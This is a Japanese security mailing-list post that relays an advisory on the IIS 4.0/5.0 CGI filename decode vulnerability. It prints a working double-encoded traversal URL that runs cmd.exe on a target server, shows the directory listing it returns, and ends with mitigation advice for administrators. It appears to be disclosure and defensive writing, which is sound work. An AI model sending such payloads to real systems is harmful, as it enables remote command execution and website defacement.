[port139:00214] IIS CGI Filename Decode Error Vulnerability

[Hideaki Ihara <hideaki@xxxxxxxxxxxxx>]

こんにちは、Port139 伊原です。

IIS 4.0、5.0 にネットワークを通じてコマンド(cmd.exe）を実行
することができる脆弱性が NSFOCUS Security Team から報告され
ていますね。

NSFBUGTRAQOCUS Security Advisory(SA2001-02)
Microsoft IIS CGI Filename Decode Error Vulnerability
http://www.nsfocus.com/english/homepage/sa01-02.htm

すでに MS からも hotfix が英語版についてはリリースされてい
ますが、日本語版 OS 上の IIS 4.0、5.0 でも影響を受けます。

以下のような URL により、指定した仮想フォルダ（例:scripts）
がシステムドライブにある場合、

http://TARGET/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

次のような結果がブラウザに戻ります。

Directory of c:\

2001/05/05  17:31       <DIR>          Documents and Settings
2001/05/05  14:46       <DIR>          Inetpub
2001/05/07  13:58       <DIR>          Program Files
2001/05/07  10:24       <DIR>          WINNT
               2 File(s)         81,920 bytes
               7 Dir(s)   2,717,077,504 bytes free


この cmd.exe は、Unicode の時(MS00-078)と同様に、IUSER_コン
ピュータ名アカウントの権限で動作します。この為、このアカウン
トに書き込み等の権限がある Web コンテンツであれば改竄等が可
能になります。

scripts などの実行を許可された仮想フォルダが、システムドライ
ブとは別のドライブにある場合には cmd.exe は実行されません。
IIS を利用中の管理者で、システムドライブと同じドライブにコン
テンツフォルダや仮想フォルダを配置しているような場合には、
別のドライブに移動させた方が安全です。


---
WinSyslog,EventReporter 販売中: http://adiscon.port139.co.jp/

Hideaki Ihara <hideaki@xxxxxxxxxxxxx>
Port139 URL: http://www.port139.co.jp/
PGP PUBLIC KEY: http://www.port139.co.jp/pgp/